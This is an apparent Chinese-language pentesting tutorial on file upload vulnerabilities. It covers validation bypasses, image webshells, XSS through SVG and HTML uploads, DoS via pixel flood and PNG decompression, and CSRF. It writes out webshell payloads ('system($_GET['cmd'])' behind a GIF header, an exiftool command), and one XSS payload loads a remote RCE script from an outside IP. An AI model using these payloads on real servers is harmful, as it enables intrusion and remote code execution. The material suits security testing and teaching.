文件上传漏洞作为获取服务器权限最快的方式,虽然相关资料很多,但很多人对上传校验方式、如何针对性绕过检测、哪种上传和解析的场景会产生危害等还是比较模糊。本文作一些阐述,然后补充一些除了上传webshell的其他非常规挖掘姿势,包括XSS、重定向、Dos、CSRF等等。
要深入了解文件上传,必须了解上传属性、常见文件的结构、图形处理函数等内容。
1) 报文特点:
观察文件上传报文的特点:
Header中Content-Type特征有二:
1.multipart/form-data(form表单的enctype属性,规定为二进制数据)
2.boundary字符串(作用为分隔符,以区分POST数据)
POST内容特征有五:
1.Content-Disposition:form-data
2. name:input表单名
3.filename:文件名
4.Content-Type:定义文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件;
5.boundary:Content-Type的值前面加了两个---
2) 常见校验规则
现存常用的上传校验规则无非下面几类:
1.客户端javascript校验(后缀名)
2.文件头content-type字段校验(image/gif):附带参数
4.后缀名黑/白名单校验:扩展名
5.文件内容头校验:GIF89a
6.文件内容校验:文件信息,二次渲染
7.自定义正则校验
3)一个澄清
文件上传和文件解析是两个过程,即使我们上传的是php文件,但解析为图片,访问php文件会显示“图片无法显示”;或者我们上传的是jpg文件,但里面混有shell脚本,若被解析为php文件也会执行;又或者上传处没法绕过检测,只能上传jpg文件,但在其他功能处存在文件包含等功能,仍可执行成功。
还是回到安全的本质,上传是“输入”,那文件解析就是“输出”,任何漏洞挖掘都需要结合输入+输出。
这里汇总一些实战中较常用的绕过技巧:
1)后缀名黑名单
以下替换后缀也可以解析为shell:
php:.phtml,.phpt,.php3,.php3p
asp:.aspx,asmx,ashx,web.config
perl:.pl,.pm,.cgi,.lib
jsp:.jspx,.jsw,.jsv,.jspf
Coldfusion:.cfm,.cfml,.cfc,.dbm
另外可以配合操作系统的文件命名规则:
.php.,.php空格,.php:1.jpg,.php::$DATA等
这些后缀的文件会被windows系统自动去掉不符合规则符号后面的内容,从而只留下.php。
2)后缀名白名单
除了结合各种服务器解析特性,较常用的是Null Byte Injection空字节注入,插入空字节值的原因是某些应用程序服务器脚本语言使用c/c++库来检查文件名和内容。在C/C ++中,一行以/00结尾或称为NullByte。因此,只要解释器在字符串的末尾看到一个空字节,就会停止读取,认为它已经到达字符串的末尾。
如,我们将要上传的Happy.jpg的名称更改为Happy.phpA.jpg,然后上传文件,在Burp中捕获请求,切换到Hex视图。在字符串视图中找到文件名。查看相应的Hex表,并将41('A')替换为00(为空字节)。结果字符串变为Happy.php(空).jpeg。由于php解释器在内部使用C语言库,它将停止读取Happy.php后的文件名,文件将保存为Happy.php。
另一种绕过白名单的方法是使用双后缀:shell.php.jpg。
3) 文件头
主要是检测文件内容开始处的文件幻数,各文件头:
PNG:8950 4E 47
JPG:FFD8 FF E0 00 10 4A 46 49 46
GIF:4749 46 38 39 61
可在hex模块进行编辑插入,后面加上shell代码:
GIF89a; system($_GET['cmd']);# shellcode goes here ?>
4) 文件内容
如果上传表单不检查文件扩展名但检查文件的内容,这种情况下我们可以上传一个图片马,结果将执行PHP代码并省略JPG或GIF代码,图片马的原理是不破坏文件本身的渲染情况下找一个空白区进行填充代码,一般会是图片的注释区,可以使用copy命令或使用exiftool工具:
exiftool -Comment='
"; system($_GET['cmd']); ?>' file.jpg
5) 二次渲染
这是一种较高端的检测,当我们把包含恶意代码的图片上传,下载到本地之后发现代码被删除,只剩图片信息,这就是后台对图片内容进行了二次渲染。相当于把原本属于图像数据的部分抓了出来,再用自己的API 或函数进行重新渲染,通常php使用的是GD库。但仍可以绕过,基本方法是通过对比GD库处理之前和之后的图片数据,找出相同(未经处理)的数据插入恶意脚本。拿GIF举例,使用的函数是imagecreatefromgif():
未经渲染的数据:
渲染后的数据:
发现EXIF数据在渲染之后发生了变化,但第四位行是空数据,而且没有发现变化,可以在这里插入shell数据:
经测试上传后,shell脚本依然存在,成功绕过二次渲染。
JPG原理类似,PNG稍复杂一点,了解PNG格式的话任意很多,可以将Web shell放入PLTE块(CBC值)或IDAT块来绕过PNG内容的渲染:
拓展思路,我们甚至可以在这种场景下图片里插入script脚本造成xss攻击:
http://example.org/images/test.png?zz=alert("thisis xss :(");
6) 条件竞争
很多上传场景里会先将文件上传到服务器,然后通过rename修改名称再将原文件删除,因此可以通过条件竞争的方式在文件删除之前多线程访问webshell。一般使用intruder同时发两个包:上传文件+访问webshell地址:
8)其他技巧
A.多个分号绕过:
文件解析时,可能解析不到文件名,导致绕过。
Content-Disposition: form-data;name="file_x";;;filename="test.php"
B.多加一个filename(HPP):
C.多个Content-Disposition:
D.更多
使用超长文件名、构造更多的点、符号等都是可以尝试的技巧,有时会碰到上传文件无法抓到包的情况,那可能是上传时转化为了流文件,建议放弃。
1、Upload+XSS
文件上传和XSS在实际测试中,有很多组合技。如果不能实现上传shell,
不妨试试构造XSS:
Twitter上传HTML文件
白名单限制不严,上传后缀为jpg的html文件,抓包改回后缀名并修改content type 为text/html,点击上传的html文件成功弹框:
其实还可以构造另一种漏洞:开放重定向:
这里将Content-Type设置为HTML类型,并在html文件前添加文件头以绕过
后端的png文件内容检测。
Svg文件上传触发XSS:
扩展名白名单允许上传SVG文件,SVG可以在其代码中包含HTML元素,构造SVG文件:
上传SVG文件:
右键——>属性找到文件地址,寻找触发位置:
导致存储型XSS:
3)上传文件名XSS
这类xss案例较多,某些场景会把文件名直接回显在界面上,还有报错信息可能会包含上传的文件名,这样就可构造包含xss payload的文件名进行xss:
还可进一步利用进行xssi,如文件名改为:
.png
浏览器会把base64 encoded数据解码为:
aob('Running POC
data-5ce-guid="c1a7cec1-0b2c-eb11-8da9-e4434bdf6706" data-src="http://img-02.proxy.5ce.com/view/image?&type=2&guid=c9a7cec1-0b2c-eb11-8da9-e4434bdf6706&url=http://159.203.190.123/w9rfas89eufs9e8fu98ewufjwefiojwe_s1058g-/wp-rce.js" data-lazy="true" src="http://thumb.5ce.com/images/loading.gif">');
js文件的内容对后端PHP进行操作,从而造成RCE,这里在知道路径的前提下可以把hello.php改为
Tip:XSS在很多场景下如果利用得当,也可以达到RCE的效果,不可小觑。
2、DOS攻击
1)上传超大图片导致DOS
头像上传处上传一张超大图片(4032*3024)14.5MB,观察服务器CPU,php-fpm进程占了100%,原因是第三方VCard代码将属性值拆分为75个字符。
Tips:尝试上传超大文件,可能造成报错信息利用/Dos等攻击
2)Pixel floodattack
像素洪水攻击,需要准备一个5kb,260x260像素的图像。将260x260值改为0xfafa x 0xfafa(64250x64250像素)进行交换。图像一旦上传,服务器通过将“整个图像”加载到内存中,它会尝试将4128062500像素分配到内存中,从而充斥内存并导致DoS。
漏洞原因是一个负责上传和调整大小的部件Paperclip,由于给定的尺寸和实际尺寸不同,会使得处理图片时发生混乱。这个图片会让windows图片查看器在打开时发生同样的问题。
同样的问题还有Hackerone的一例:上传图片的限制为:图像大小1 MB,图像尺寸:2048x2048px;上传由40k 1x1图像组成的GIF则会造成dos攻击,原因在于未检查文件大小/(宽*高)的数值。
3)PNG 解压DOS
PNG文件由多个块组成,其中一个可选的辅助块称为zTXT(ztxt),此块允许使用zlib库存储压缩文本数据。
使用一个大小为50MB的文件,填充零,将它压缩到大约49 KB”,因此将大量数据存储在一个小的PNG(小于1 MB)。当发送给HackerOne时,会造成服务超时,这同样是Paperclip 的问题。
3、Upload+CSRF
用户的头像上传功能处没有CSRF保护,URL为:
https://chaturbate.com/photo_videos/photoset/detail/[username]/[set_id]/
通过查看或遍历id值,使用xhr构造csrf poc模拟发包,实现任意用户上传图片,从而影响账户的完整性。
4、上传其他文件:
1)js文件覆盖
跨目录上传恶意js文件覆盖原js文件:
Tips:某些场景下对上传路径未做校验,导致上传文件到任意路径。
2)xml文件上传XXE
后续XXE漏洞中具体讲解。
5、上传路径泄露:
可以使用构造畸形文件名/路径、不可解析的文件名、跨目录(/\..)、破坏结构、上传过大文件等方式尽可能使得返回异常exception报错信息:
除此之外,文件上传也可涉及到SSRF、反序列化、目录遍历、本地文件泄露、越权上传等漏洞。总之多观察上传环境的特点,不要思维固化,从漏洞本质出发,多尝试可能就有新发现。
4、挖掘思路
上传漏洞挖掘思路总结起来分三步:
1、首先尝试直接上传脚本文件进行RCE;
2、若存在过滤,对于检测机制进行猜测,确定机制后尝试绕过;
3、若无法绕过上传,插入脚本后寻找解析/文件包含漏洞;
4、换其他类型文件:html、js、svg等转到挖掘其他漏洞。